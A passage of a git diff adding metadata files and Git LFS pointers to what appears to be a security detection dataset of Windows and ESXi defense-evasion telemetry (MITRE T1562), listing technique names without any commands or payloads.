b/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/T1562.001_hotkey_disabled_hidden_user.yml @@ -0,0 +1,12 @@ +author: STRT +id: 105572b6-25db-496d-98dd-16715f14c5ef +date: '2026-07-10' +description: Curated attack data generated for detection Disable Windows App Hotkeys +environment: attack_range +directory: hotkey_disabled_hidden_user +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/windows-sysmon-105572b6-25db-496d-98dd-16715f14c5ef.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/windows-sysmon-105572b6-25db-496d-98dd-16715f14c5ef.log b/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/windows-sysmon-105572b6-25db-496d-98dd-16715f14c5ef.log new file mode 100644 index 000000000..b2b0f440f --- /dev/null +++ b/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/windows-sysmon-105572b6-25db-496d-98dd-16715f14c5ef.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ee4c5cca903fa6ba3a41f7ff025095631edb6923e8aacbb47bdbc5bc242ba3b9 +size 1072 diff --git a/datasets/attack_techniques/T1562.001/mpcmdrun_remove/T1562.001_mpcmdrun_remove.yml b/datasets/attack_techniques/T1562.001/mpcmdrun_remove/T1562.001_mpcmdrun_remove.yml new file mode 100644 index 000000000..bceb94298 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/mpcmdrun_remove/T1562.001_mpcmdrun_remove.yml @@ -0,0 +1,13 @@ +author: STRT +id: abac2ce0-2cf1-4d01-ba39-1aa0ed45b45d +date: '2026-07-11' +description: Curated attack data generated for detection Windows MpCmdRun RemoveDefinitions + Execution +environment: attack_range +directory: mpcmdrun_remove +mitre_technique: [] +datasets: +- name: mpcmdrun_remove + path: /datasets/attack_techniques/T1562.001/mpcmdrun_remove/mpcmdrun_remove-abac2ce0-2cf1-4d01-ba39-1aa0ed45b45d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/mpcmdrun_remove/mpcmdrun_remove-abac2ce0-2cf1-4d01-ba39-1aa0ed45b45d.log b/datasets/attack_techniques/T1562.001/mpcmdrun_remove/mpcmdrun_remove-abac2ce0-2cf1-4d01-ba39-1aa0ed45b45d.log new file mode 100644 index 000000000..b42af514f --- /dev/null +++ b/datasets/attack_techniques/T1562.001/mpcmdrun_remove/mpcmdrun_remove-abac2ce0-2cf1-4d01-ba39-1aa0ed45b45d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:84753963e2e83d59b37ae2d39fbbf3523f11474425f05b439de69c897454a34f +size 2052 diff --git a/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/T1562.001_powershell_windows_defender_exclusion_commands.yml b/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/T1562.001_powershell_windows_defender_exclusion_commands.yml new file mode 100644 index 000000000..2d38d8723 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/T1562.001_powershell_windows_defender_exclusion_commands.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9aa6415d-8f7e-4300-afad-505d9401dcda +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Windows Defender + Exclusion Commands +environment: attack_range +directory: powershell_windows_defender_exclusion_commands +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/windows-xml-9aa6415d-8f7e-4300-afad-505d9401dcda.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/windows-xml-9aa6415d-8f7e-4300-afad-505d9401dcda.log b/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/windows-xml-9aa6415d-8f7e-4300-afad-505d9401dcda.log new file mode 100644 index 000000000..9ef485403 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/powershell_windows_defender_exclusion_commands/windows-xml-9aa6415d-8f7e-4300-afad-505d9401dcda.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5588af068a93d3d28e75834bd792c60da031db84498a4c3d067d457a6f3c2b8b +size 958 diff --git a/datasets/attack_techniques/T1562.001/pwh_defender_disabling/T1562.001_pwh_defender_disabling.yml b/datasets/attack_techniques/T1562.001/pwh_defender_disabling/T1562.001_pwh_defender_disabling.yml new file mode 100644 index 000000000..b2e0a88ec --- /dev/null +++ b/datasets/attack_techniques/T1562.001/pwh_defender_disabling/T1562.001_pwh_defender_disabling.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7cba36b2-626b-4eee-8215-78a6b1df0857 +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Disable Security + Monitoring +environment: attack_range +directory: pwh_defender_disabling +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/pwh_defender_disabling/windows-sysmon-7cba36b2-626b-4eee-8215-78a6b1df0857.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/pwh_defender_disabling/windows-sysmon-7cba36b2-626b-4eee-8215-78a6b1df0857.log b/datasets/attack_techniques/T1562.001/pwh_defender_disabling/windows-sysmon-7cba36b2-626b-4eee-8215-78a6b1df0857.log new file mode 100644 index 000000000..be40647b2 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/pwh_defender_disabling/windows-sysmon-7cba36b2-626b-4eee-8215-78a6b1df0857.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cbd1d49dc95dcafc7ca6fd0957e2c20e136efc16a0a4bd53b5c3cbf1a4ecdbfb +size 2234 diff --git a/datasets/attack_techniques/T1562.001/sc_service_start_disabled/T1562.001_sc_service_start_disabled.yml b/datasets/attack_techniques/T1562.001/sc_service_start_disabled/T1562.001_sc_service_start_disabled.yml new file mode 100644 index 000000000..87cf7f7f5 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/sc_service_start_disabled/T1562.001_sc_service_start_disabled.yml @@ -0,0 +1,13 @@ +author: STRT +id: f8f6173e-97ed-48a6-b579-5860f760c1fa +date: '2026-07-10' +description: Curated attack data generated for detection Excessive number of service + control start as disabled +environment: attack_range +directory: sc_service_start_disabled +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/sc_service_start_disabled/windows-sysmon-f8f6173e-97ed-48a6-b579-5860f760c1fa.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/sc_service_start_disabled/windows-sysmon-f8f6173e-97ed-48a6-b579-5860f760c1fa.log b/datasets/attack_techniques/T1562.001/sc_service_start_disabled/windows-sysmon-f8f6173e-97ed-48a6-b579-5860f760c1fa.log new file mode 100644 index 000000000..5b14fc808 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/sc_service_start_disabled/windows-sysmon-f8f6173e-97ed-48a6-b579-5860f760c1fa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e825c4b2ca524c4b84cd8210b6a5923dc104d092716770f92af121b154729257 +size 4982097 diff --git a/datasets/attack_techniques/T1562.001/taskkill/T1562.001_taskkill.yml b/datasets/attack_techniques/T1562.001/taskkill/T1562.001_taskkill.yml new file mode 100644 index 000000000..5bf96aa54 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/taskkill/T1562.001_taskkill.yml @@ -0,0 +1,13 @@ +author: STRT +id: 22493ad5-bc1c-466f-93d7-da6b126a6441 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable or Modify + Tools Via Taskkill +environment: attack_range +directory: taskkill +mitre_technique: [] +datasets: +- name: taskkill_im + path: /datasets/attack_techniques/T1562.001/taskkill/taskkill_im-22493ad5-bc1c-466f-93d7-da6b126a6441.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/taskkill/taskkill_im-22493ad5-bc1c-466f-93d7-da6b126a6441.log b/datasets/attack_techniques/T1562.001/taskkill/taskkill_im-22493ad5-bc1c-466f-93d7-da6b126a6441.log new file mode 100644 index 000000000..e21f5084c --- /dev/null +++ b/datasets/attack_techniques/T1562.001/taskkill/taskkill_im-22493ad5-bc1c-466f-93d7-da6b126a6441.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:47f313998031e200dd6780a9bb9a91718fbb08ff78657e631eab4863a0ee31bf +size 1962 diff --git a/datasets/attack_techniques/T1562.001/taskkill_browser/T1562.001_taskkill_browser.yml b/datasets/attack_techniques/T1562.001/taskkill_browser/T1562.001_taskkill_browser.yml new file mode 100644 index 000000000..71cf94827 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/taskkill_browser/T1562.001_taskkill_browser.yml @@ -0,0 +1,13 @@ +author: STRT +id: 74219047-c647-42ed-9b79-40ccb8601aae +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable or Stop Browser + Process +environment: attack_range +directory: taskkill_browser +mitre_technique: [] +datasets: +- name: braodo_taskkill + path: /datasets/attack_techniques/T1562.001/taskkill_browser/braodo_taskkill-74219047-c647-42ed-9b79-40ccb8601aae.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/taskkill_browser/braodo_taskkill-74219047-c647-42ed-9b79-40ccb8601aae.log b/datasets/attack_techniques/T1562.001/taskkill_browser/braodo_taskkill-74219047-c647-42ed-9b79-40ccb8601aae.log new file mode 100644 index 000000000..41f5149aa --- /dev/null +++ b/datasets/attack_techniques/T1562.001/taskkill_browser/braodo_taskkill-74219047-c647-42ed-9b79-40ccb8601aae.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6e7a192d547c2ddf9ff1ea0036dd2d07563de112bea062c06450ce3c1f4db68c +size 66255 diff --git a/datasets/attack_techniques/T1562.001/unload_sysmon/T1562.001_unload_sysmon.yml b/datasets/attack_techniques/T1562.001/unload_sysmon/T1562.001_unload_sysmon.yml new file mode 100644 index 000000000..c3654d327 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/unload_sysmon/T1562.001_unload_sysmon.yml @@ -0,0 +1,12 @@ +author: STRT +id: d84c2b0f-d7c1-43b5-bde0-8c0c7636f3be +date: '2026-07-11' +description: Curated attack data generated for detection Unload Sysmon Filter Driver +environment: attack_range +directory: unload_sysmon +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/unload_sysmon/windows-sysmon-d84c2b0f-d7c1-43b5-bde0-8c0c7636f3be.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/unload_sysmon/windows-sysmon-d84c2b0f-d7c1-43b5-bde0-8c0c7636f3be.log b/datasets/attack_techniques/T1562.001/unload_sysmon/windows-sysmon-d84c2b0f-d7c1-43b5-bde0-8c0c7636f3be.log new file mode 100644 index 000000000..a17fceb48 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/unload_sysmon/windows-sysmon-d84c2b0f-d7c1-43b5-bde0-8c0c7636f3be.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e1b58ff78a187e945ae2757466701352ec0ef25d7626f3ecdeff6236535dff91 +size 1961 diff --git a/datasets/attack_techniques/T1562.001/win_app_defender_disabling/T1562.001_win_app_defender_disabling.yml b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/T1562.001_win_app_defender_disabling.yml new file mode 100644 index 000000000..647261290 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/T1562.001_win_app_defender_disabling.yml @@ -0,0 +1,16 @@ +author: STRT +id: f1a3a6ee-1233-420f-a944-06a3c1f1ad45 +date: '2026-07-10' +description: Curated attack data generated for detection Disable Registry Tool +environment: attack_range +directory: win_app_defender_disabling +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-sysmon-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-xml + path: /datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-xml-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-sysmon-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-sysmon-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log new file mode 100644 index 000000000..7e10067f6 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-sysmon-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9583da8bfd83f6c244c1c73126d8643b46e87b1efcfb03a06bb46c4d0ad6f2a5 +size 2151 diff --git a/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-xml-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-xml-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log new file mode 100644 index 000000000..09044ad6d --- /dev/null +++ b/datasets/attack_techniques/T1562.001/win_app_defender_disabling/windows-xml-f1a3a6ee-1233-420f-a944-06a3c1f1ad45.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:46be0e300608079ad559e0ceea142b9ed8e920126f1a39ef6b76ceb141add548 +size 2240 diff --git a/datasets/attack_techniques/T1562.001/win_defend_service_stop/T1562.001_win_defend_service_stop.yml b/datasets/attack_techniques/T1562.001/win_defend_service_stop/T1562.001_win_defend_service_stop.yml new file mode 100644 index 000000000..fb17e0855 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/win_defend_service_stop/T1562.001_win_defend_service_stop.yml @@ -0,0 +1,13 @@ +author: STRT +id: d45bd839-b65b-4dc6-b525-2d889ccf9ab6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Attempt To Stop Security + Service +environment: attack_range +directory: win_defend_service_stop +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/win_defend_service_stop/windows-sysmon-d45bd839-b65b-4dc6-b525-2d889ccf9ab6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/win_defend_service_stop/windows-sysmon-d45bd839-b65b-4dc6-b525-2d889ccf9ab6.log b/datasets/attack_techniques/T1562.001/win_defend_service_stop/windows-sysmon-d45bd839-b65b-4dc6-b525-2d889ccf9ab6.log new file mode 100644 index 000000000..05cdd8165 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/win_defend_service_stop/windows-sysmon-d45bd839-b65b-4dc6-b525-2d889ccf9ab6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:faf929079a46d1d88bf885b0b5d18c94cff837e90643ce1a21ac784127ec63e6 +size 1918 diff --git a/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/T1562.001_windows_excessive_disabled_services_event.yml b/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/T1562.001_windows_excessive_disabled_services_event.yml new file mode 100644 index 000000000..77a28537f --- /dev/null +++ b/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/T1562.001_windows_excessive_disabled_services_event.yml @@ -0,0 +1,13 @@ +author: STRT +id: 897438c7-fb92-425f-9dd1-24df4d7e1889 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Event For Service + Disabled +environment: attack_range +directory: windows_excessive_disabled_services_event +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/windows-xml-897438c7-fb92-425f-9dd1-24df4d7e1889.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/windows-xml-897438c7-fb92-425f-9dd1-24df4d7e1889.log b/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/windows-xml-897438c7-fb92-425f-9dd1-24df4d7e1889.log new file mode 100644 index 000000000..adcbf65e8 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/windows_excessive_disabled_services_event/windows-xml-897438c7-fb92-425f-9dd1-24df4d7e1889.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:66510f5dc3a5b6edde0e3fd65f6a7596b5a325daa85668993c168aaa5bc4b293 +size 46060 diff --git a/datasets/attack_techniques/T1562.002/auditpol_tampering/T1562.002_auditpol_tampering.yml b/datasets/attack_techniques/T1562.002/auditpol_tampering/T1562.002_auditpol_tampering.yml new file mode 100644 index 000000000..013e4c3eb --- /dev/null +++ b/datasets/attack_techniques/T1562.002/auditpol_tampering/T1562.002_auditpol_tampering.yml @@ -0,0 +1,17 @@ +author: STRT +id: c56db810-02a5-4b53-aae2-cb46dcdeb5d0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Audit Policy Auditing + Option Disabled via Auditpol +environment: attack_range +directory: auditpol_tampering +mitre_technique: [] +datasets: +- name: auditpol_tampering_sysmon + path: /datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_sysmon-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: auditpol_tampering_security + path: /datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_security-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_security-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log b/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_security-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log new file mode 100644 index 000000000..df7ff5d10 --- /dev/null +++ b/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_security-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:11804c7514bc8514de4594805a36f30013a8e27a319bc0860bd20f52c524b88f +size 1124 diff --git a/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_sysmon-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log b/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_sysmon-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log new file mode 100644 index 000000000..dabb0f3ed --- /dev/null +++ b/datasets/attack_techniques/T1562.002/auditpol_tampering/auditpol_tampering_sysmon-c56db810-02a5-4b53-aae2-cb46dcdeb5d0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8e251b8f58077bab43f001055aa3993e65c798e477f7db77570ae50a31c5af6c +size 2026 diff --git a/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/T1562.002_eventlog_sddl_tampering.yml b/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/T1562.002_eventlog_sddl_tampering.yml new file mode 100644 index 000000000..4679e66b1 --- /dev/null +++ b/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/T1562.002_eventlog_sddl_tampering.yml @@ -0,0 +1,13 @@ +author: STRT +id: f18ea69d-f291-4965-b942-25d7e16f55e6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows New Custom Security + Descriptor Set On EventLog Channel +environment: attack_range +directory: eventlog_sddl_tampering +mitre_technique: [] +datasets: +- name: eventlog_sddl_tampering_sysmon + path: /datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/eventlog_sddl_tampering_sysmon-f18ea69d-f291-4965-b942-25d7e16f55e6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/eventlog_sddl_tampering_sysmon-f18ea69d-f291-4965-b942-25d7e16f55e6.log b/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/eventlog_sddl_tampering_sysmon-f18ea69d-f291-4965-b942-25d7e16f55e6.log new file mode 100644 index 000000000..9d41d3b68 --- /dev/null +++ b/datasets/attack_techniques/T1562.002/eventlog_sddl_tampering/eventlog_sddl_tampering_sysmon-f18ea69d-f291-4965-b942-25d7e16f55e6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1c0332eae1af87c0a01906ff41b3351537aa7d634a2e2be63485193b3a518407 +size 2251 diff --git a/datasets/attack_techniques/T1562.003/esxi_audit_tampering/T1562.003_esxi_audit_tampering.yml b/datasets/attack_techniques/T1562.003/esxi_audit_tampering/T1562.003_esxi_audit_tampering.yml new file mode 100644 index 000000000..53473e8a3 --- /dev/null +++ b/datasets/attack_techniques/T1562.003/esxi_audit_tampering/T1562.003_esxi_audit_tampering.yml @@ -0,0 +1,12 @@ +author: STRT +id: e5bdbbb5-c01f-4253-aebc-78fe79678f71 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Audit Tampering +environment: attack_range +directory: esxi_audit_tampering +mitre_technique: [] +datasets: +- name: esxi_audit_tampering + path: /datasets/attack_techniques/T1562.003/esxi_audit_tampering/esxi_audit_tampering-e5bdbbb5-c01f-4253-aebc-78fe79678f71.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562.003/esxi_audit_tampering/esxi_audit_tampering-e5bdbbb5-c01f-4253-aebc-78fe79678f71.log b/datasets/attack_techniques/T1562.003/esxi_audit_tampering/esxi_audit_tampering-e5bdbbb5-c01f-4253-aebc-78fe79678f71.log new file mode 100644 index 000000000..4edeadaf4 --- /dev/null +++ b/datasets/attack_techniques/T1562.003/esxi_audit_tampering/esxi_audit_tampering-e5bdbbb5-c01f-4253-aebc-78fe79678f71.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9d55c614325e1ea395ac5eef8d24a005bb9736f56c18164efba1f967b381c60c +size 1258 diff --git a/datasets/attack_techniques/T1562.003/esxi_syslog_config/T1562.003_esxi_syslog_config.yml b/datasets/attack_techniques/T1562.003/esxi_syslog_config/T1562.003_esxi_syslog_config.yml new file mode 100644 index 000000000..2e20cfa39 --- /dev/null +++ b/datasets/attack_techniques/T1562.003/esxi_syslog_config/T1562.003_esxi_syslog_config.yml @@ -0,0 +1,12 @@ +author: STRT +id: 2eebd8ce-6c9e-45f9-a944-6cb41f6bbc99 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Syslog Config Change +environment: attack_range +directory: esxi_syslog_config +mitre_technique: [] +datasets: +- name: esxi_syslog_config + path: /datasets/attack_techniques/T1562.003/esxi_syslog_config/esxi_syslog_config-2eebd8ce-6c9e-45f9-a944-6cb41f6bbc99.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562.003/esxi_syslog_config/esxi_syslog_config-2eebd8ce-6c9e-45f9-a944-6cb41f6bbc99.log b/datasets/attack_techniques/T1562.003/esxi_syslog_config/esxi_syslog_config-2eebd8ce-6c9e-45f9-a944-6cb41f6bbc99.log new file mode 100644 index 000000000..b91eb50d5 --- /dev/null +++ b/datasets/attack_techniques/T1562.003/esxi_syslog_config/esxi_syslog_config-2eebd8ce-6c9e-45f9-a944-6cb41f6bbc99.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:699f09e84adb22f488ace9675c06d1ff65e81623425c7d817aeb57e9223e9647 +size 172 diff --git a/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/T1562.004_esxi_firewall_disabled.yml b/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/T1562.004_esxi_firewall_disabled.yml new file mode 100644 index 000000000..cc4279449 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/T1562.004_esxi_firewall_disabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: fa3ceefb-7e81-48f9-b79e-a9eccbb95db9 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Firewall Disabled +environment: attack_range +directory: esxi_firewall_disabled +mitre_technique: [] +datasets: +- name: esxi_firewall_disabled + path: /datasets/attack_techniques/T1562.004/esxi_firewall_disabled/esxi_firewall_disabled-fa3ceefb-7e81-48f9-b79e-a9eccbb95db9.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/esxi_firewall_disabled-fa3ceefb-7e81-48f9-b79e-a9eccbb95db9.log b/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/esxi_firewall_disabled-fa3ceefb-7e81-48f9-b79e-a9eccbb95db9.log new file mode 100644 index 000000000..486da1e46 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/esxi_firewall_disabled/esxi_firewall_disabled-fa3ceefb-7e81-48f9-b79e-a9eccbb95db9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dff7f7bf4bf7cc798184c3e2aab328a4291fc0c1dbc423185a49f40684d3e1a8 +size 286 diff --git a/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/MPSSVC_Rule-Level_Policy_Change-4946-791e98f2-f0f7-406e-9019-684b8e9fcd3a.log b/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/MPSSVC_Rule-Level_Policy_Change-4946-791e98f2-f0f7-406e-9019-684b8e9fcd3a.log new file mode 100644 index 000000000..38531f674 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/MPSSVC_Rule-Level_Policy_Change-4946-791e98f2-f0f7-406e-9019-684b8e9fcd3a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82e105913f20e1880849661392f3a43d9696a2fb51cc9659d74eaa2670a09901 +size 2371 diff --git a/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/firewall_win_event_added_rule.yml b/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/firewall_win_event_added_rule.yml new file mode 100644 index 000000000..d496affb0 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/firewall_win_event_added_rule.yml @@ -0,0 +1,12 @@ +author: STRT +id: 791e98f2-f0f7-406e-9019-684b8e9fcd3a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Firewall Rule Added +environment: attack_range +directory: added_rule +mitre_technique: [] +datasets: +- name: MPSSVC_Rule-Level_Policy_Change-4946 + path: /datasets/attack_techniques/T1562.004/firewall_win_event/added_rule/MPSSVC_Rule-Level_Policy_Change-4946-791e98f2-f0f7-406e-9019-684b8e9fcd3a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/MPSSVC_Rule-Level_Policy_Change-4948-f5d7e31d-3e8e-44b0-b4a9-1c2e9eca1fd4.log b/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/MPSSVC_Rule-Level_Policy_Change-4948-f5d7e31d-3e8e-44b0-b4a9-1c2e9eca1fd4.log new file mode 100644 index 000000000..ae93e28d4 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/MPSSVC_Rule-Level_Policy_Change-4948-f5d7e31d-3e8e-44b0-b4a9-1c2e9eca1fd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ae7eb20a84350d696b605bb540e9f93fb545ed4b6f2f31a247ed9819df19f54d +size 1580 diff --git a/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/firewall_win_event_delete_rule.yml b/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/firewall_win_event_delete_rule.yml new file mode 100644 index 000000000..977e1f5b2 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/firewall_win_event_delete_rule.yml @@ -0,0 +1,12 @@ +author: STRT +id: f5d7e31d-3e8e-44b0-b4a9-1c2e9eca1fd4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Firewall Rule Deletion +environment: attack_range +directory: delete_rule +mitre_technique: [] +datasets: +- name: MPSSVC_Rule-Level_Policy_Change-4948 + path: /datasets/attack_techniques/T1562.004/firewall_win_event/delete_rule/MPSSVC_Rule-Level_Policy_Change-4948-f5d7e31d-3e8e-44b0-b4a9-1c2e9eca1fd4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git 